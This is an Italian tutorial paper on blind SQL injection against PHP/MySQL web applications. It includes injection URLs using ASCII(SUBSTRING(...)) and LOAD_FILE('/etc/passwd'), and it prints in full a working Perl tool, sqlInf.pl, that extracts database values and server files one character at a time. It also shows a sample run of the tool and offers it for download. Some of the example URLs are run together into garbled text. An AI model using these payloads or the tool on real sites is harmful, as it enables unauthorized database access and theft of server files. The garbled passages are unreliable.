In questo paper vedremo come utilizzare tecniche di inferenza per eseguire degli attachi avanzati verso applicativi web sviluppati in PHP e con MySQL come DBMS.
Prima di tutto dobbiamo introdurre due concetti fondamentali per la conprensione del testo, ovvero che cosa si intende per Blind SQL Injection e cosa si intende per Inferenza.
Blind SQL Injection: normalmente quando si effetuano dei test di vulnerability assessment e si provano attacchi di tipo SQL Injection cio' che si fa e' analizzare l'output prodotto dal DBMS a causa di errori sintattici presenti all'interno della query (errori volutamente prodotti dal tester) per poi eseguire tecniche di testing piu' mirate. Nel Blind SQL Injection, al posto degli errori prodotti dal DBMS viene presentata una pagina di errore generica creata dallo sviluppatore, in questo modo non e' possibile ottenere informazioni utili sulla struttura della query. Nel caso di MySQL (con linguaggio di programmazione PHP) cio' che otteniamo e' qualcosa di simile, ovvero l'errore prodotto dal database non fornisce alcuna informazione utile al tester (nella configurazione di default), perche' cio' che viene ritornato e' un semplice messagio del tipo:
Warning: mysql_num_rows(): supplied argument is not a
valid MySQL result resource
Necessitiamo dunque di un modo per superare questo ostacolo.
Per maggiori informazioni sul Blind SQL Injection vedere [1]
Inference: con il termine inferenza intendiamo appunto fare inferenza sul valore di un certo parametro. Ovvero dato un parametro il cui valore e' incognito, cio' che facciamo e' eseguire una serie di test e dal loro risultato possiamo dedurre il valore del parametro.
Fino a qualche anno fa per eseguire attacchi di tipo SQL Injection su database MySQL bisognava procedere un po' alla cieca (ad esempio perche' MySQL non supportava l'uso delle query annidate, o per il fatto di non ritornare informazioni utili). Una delle tecniche, per cosi dire avanzate, consisteva nell'utilizzare la funzioneinto outfile 'filename'
la quale permetteva di memorizzare il risultato della query all'interno di un file, il quale poteva in seguito essere richiamato tramite una richiesta HTTP dal proprio browser.
Purtroppo questo metodo non sempre funziona, ad esempio potremmo avere problemi a scrivere sul file a causa dei permessi, oppure il database potrebbe risiedere su un host diverso da quello del web server, rendendo impossibile l'acceso al file tramite browser.
Grazie alle tecniche di inferenza vedremo tra poco come poter leggere i valori ritornati dalle query.
I passi da effettuare sono:
' or '1' = '1' /*http://www.mysite.com/index.php?id=201. i := 1 j := 0 valore := '' 2. ASCII(carattere posizione i) del parametro e' maggiore di j? Se si vai al passo 3, altrimenti salta al passo 4 3. j++ Vai al passo 2 4. valore := valore + CHAR(j) j:=0 i++ 5. Ho esaminato tutti i caratteri del parametro? Se no ritorna al passo 2 altrimenti esci e ritorna il valore memorizzato in valore.
Per chi ha letto il paper di David Litchfield [2], non avra' visto nulla di particolarmente nuovo, se non per il fatto che qui facciamo inferenza sul valore del carattere e non sul valore dei singoli bit rappresentante il carattere. Di seguito applicheremo tale tecnica utilizzando le funzioni di MySQL e riuscendo perfino a ricavare il contenuto di un qualsiasi file presente sul filesystem (permessi di lettura permettendo).
Vediamo quali sono le funzioni di MySQL che ci permetteranno di fare quanto detto nel paragrafo precedente:
http://www.mysite.com/index.php?id=20' and username = username/*http://www.mysite.com/index.php?id=20'%20and%20ASCII(SUBSTRING(login,1,1))%3E0/*http://www.mysite.com/index.php?id=20'%20and%20'1'%20=%20'2http://www.mysite.com/index.php?id=20'%20and%20CHAR_LENGTH(login)%3E0/*http://www.mysite.com/index.php?id=20'%20and%20ASCII(SUBSTRING(LOAD_FILE("/etc/passwd"),1,1))%3E0/*
char(99,58,47,98,111,111,116,46,105,110,105)<Avvertenza>Questo non e' un tool per Script kiddie, per poterlo utilizzare e' necessario prima verificare che il sito sia exploitabile come descritto in precedenza, in caso contrario il tool non da alcun supporto utile.</Avvertenza>
Purtroppo le query da effettuare per utilizzare l'inferenza sono tutt'altro che poche. Di seguito vedremo l'utilizzo di un semplice tool per automatizzare l'invio di richieste.
Il tool riceve in input l'url vulnerabile e il parametro su cui fare inferenza.
Prendendo in considerazione il nostro esempio l'url da passare risulta essere:
http://www.mysite.com/index.php?id=20
ora non rimane che passare la stringa su cui si vuole fare inferenza, ad esempio il nome del campo per ottenerne il valore (nel nostro caso il nome e' login), oppure il valore LOAD_FILE("/etc/passwd") per ottenere il contenuto del file.
Abbiamo detto in precedenza che il tool qui presente implementa delle ottimizzazioni, in pratica, la lunghezza della stringa non viene calcolata all'inizio (come ci si aspetterebbe), invece cio' che viene fatto e' controllare il suo valore solo quando si incontra un carattere NULL. Facendo un esempio, supponiamo di avere analizzato 8 caratteri della strigna su cui stiamo facendo inferenza, a questo punto supponiamo di ottenere un byte NULL. Cio' puo' essere dato da due motivi, 1) ho esaminato tutta la stringa o 2) la stringa contiene un carattere NULL. Per risolvare il dilemma basta fare inferenza sulla lunghezza del parametro, in pratica ci chiediamo "il valore del parametro ha lunghezza minore o uguale a 8?" se ritorna un valore falso allora siamo nel caso 2) altrimenti siamo nel caso 1).
Una'ltra ottimizzazione possibile e' data dal fatto di non esaminare tutta la tabella ASCII a partire dal primo carattere, sapendo che le lettere che vanno dalla 'a' alla 'z' sono piu' frequenti, analizziamo prima queste, passando poi ai numeri e cosi' via fino a considerare i caratteri piu' inconsueti.
Di seguito e' esposta una tipica esecuzione del tool:
$ ./sqlInf.pl http://www.mysite.com/index.php?id=20 'login' -v Copyright (C) 2006 Antonio "s4tan" Parata <s4tan@ictsc.it> Current char: abcdefghijklmnopqrs [+] Found: s Current char: abcdefghijklmnopqrstuvwxyz01234 [+] Found: s4 Current char: abcdefghijklmnopqrst [+] Found: s4t Current char: a [+] Found: s4ta Current char: abcdefghijklmn [+] Found: s4tan Current char: abcdefghijklmnopqrstuvwxyz01234567890 [+] Found NULL char, checking length => Finish [+] Value: s4tan $Indice
Per visualizzare una demo in flash premi qui.
Indice
Il tool utilizza la libreria libwhisker creata da rfp (scaricabile da http://www.wiretrip.net/rfp/lw.asp), per cui non necessita dell'installazione di moduli aggiuntivi.
Il tool puo' essere scaricato cliccando QUI.
#!/usr/bin/perl
#
# Copyright (C) 2006 by Antonio "s4tan" Parata - s4tan@ictsc.it
# Last Update 26/06/2006
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
use strict;
use lib './';
use LW2;
# Colori
our $VERDE = "\033[32m";
our $CL = "\033[0m";
$|++;
print "\nCopyright (C) 2006 Antonio \"s4tan\" Parata \n";
my $page = $ARGV[0] || usage();
my $field = $ARGV[1] || usage();
my @terminators = ("/*","%20and%20'1'%20=%20'1");
my $goodTerminator = $terminators[0]; # Terminatore usato per rendere la query sintatticamente corretta
my $verbose = undef;
# Parse input
if (defined $ARGV[2]) {
for(my $i = 2; $i <= $#ARGV; $i++) {
if ($ARGV[$i] =~ /-t/) {
if ($ARGV[$i+1] eq 1) {
$goodTerminator = $terminators[1];
}
$i++;
}
elsif ($ARGV[$i] =~ /-v/) {
$verbose = 1;
}
else {
usage();
}
}
}
my $curPos = 1; # Posizione del carattere del nome del campo su cui faccio inferenza
my $curChar = 0; # Valore ASCII da confrontare per l'inferenza
my $posCurChar = 0; # Posizione nella tabella ASCII del carattere
my $finito = 0;
my $value = '';
my $false = getFalsePage($page);
my @asciiTable = fillAsciiTable();
### Start Main
###############
print "\n\n";
print "Current char: " if $verbose;
while(!$finito) {
my $curPage = getPage(getModifiedPageURL($page,$field,$curPos,$posCurChar));
$curChar = $asciiTable[$posCurChar];
print chr($curChar) if $verbose && $curChar > 32;
if ($curPage eq $false) {
# Avanzo gli indici
$posCurChar++;
}
else {
if ($curChar eq 0) {
print "0\n\n[+] Found NULL char, checking length => ";
if (checkLengthField($page,$field,$curPos)) {
print "Finish";
$finito = 1;
}
else {
print "Continue";
}
print "\n";
}
if (!$finito) {
# Carattere identificato, avanzo gli indici
$value = $value.chr($curChar);
$posCurChar = 0;
print "\n\n[+] Found: $value\n\n" if $verbose;
print "Current char: " if $verbose;
$curPos++;
}
}
}
print "\n\n[+] Value: $VERDE$value$CL\n\n";
### Subroutine
###############
sub usage {
print "Usage: $0 [-t 0|1] [-v]
: website prone to sql injection attack
: string on which it's possible to make inference, for example:
1) known column name
2) LOAD_FILE('') where is a filename (e.g. /etc/passwd)
3) a MySQL function like: DATABASE(), LAST_INSERT_ID(), USER(), VERSION()
-t : type 0 to end the query whit /*
type 1 to end the query whit %20and%20'1'%20=%20'1
-v : verbose output
example: $0 'http://www.website.com/index.php?parameterProneToInjection=20' 'VERSION()' -t 1 -v
example: $0 'http://www.website.com/index.php?parameterProneToInjection=20' 'LOAD_FILE(\"/etc/passwd\")'
";
exit 0;
}
sub checkLengthField {
my $page = $_[0];
my $field = $_[1];
my $length = $_[2];
my $curPage = getPage(getModifiedPageURLForLength($page,$field,$curPos));
if (!($curPage eq $false)) {
return 1;
}
else {
return 0;
}
}
sub getFalsePage {
return LW2::get_page($_[0]."'%20and%20'1'='2");
}
sub getPage {
return LW2::get_page($_[0]);
}
sub getModifiedPageURLForLength {
my $i=-1;
my $page = $_[++$i];
my $field = $_[++$i];
my $index = $_[++$i];
return $page."'%20and%20CHAR_LENGTH($field)%3C=$index$goodTerminator";
}
sub getModifiedPageURL {
my $i=-1;
my $page = $_[++$i];
my $field = $_[++$i];
my $posChar = $_[++$i];
my $index = $asciiTable[$_[++$i]];
return $page."'%20and%20ASCII(SUBSTRING($field,$posChar,1))=$index$goodTerminator";
}
sub fillAsciiTable {
my @tmp;
push @tmp, getRange(97,122); # a-z
push @tmp, getRange(48,57); # 0-9
push @tmp, getRange(0,0); # NULL
push @tmp, getRange(65,90); # A-Z
push @tmp, getRange(58,64); # :;<=>?@
push @tmp, getRange(32,47); # !"#$%&'()*+'./
push @tmp, getRange(1,31); #
push @tmp, getRange(91,96); # [\]^_`
push @tmp, getRange(123,255); # {|}~
return @tmp;
}
sub getRange {
my $start = $_[0];
my $end = $_[1];
my @tmp;
my $j = 0;
for (my $i = $start; $i<=$end; $i++) {
$tmp[$j++] = $i;
}
return @tmp;
}
__END__
Indice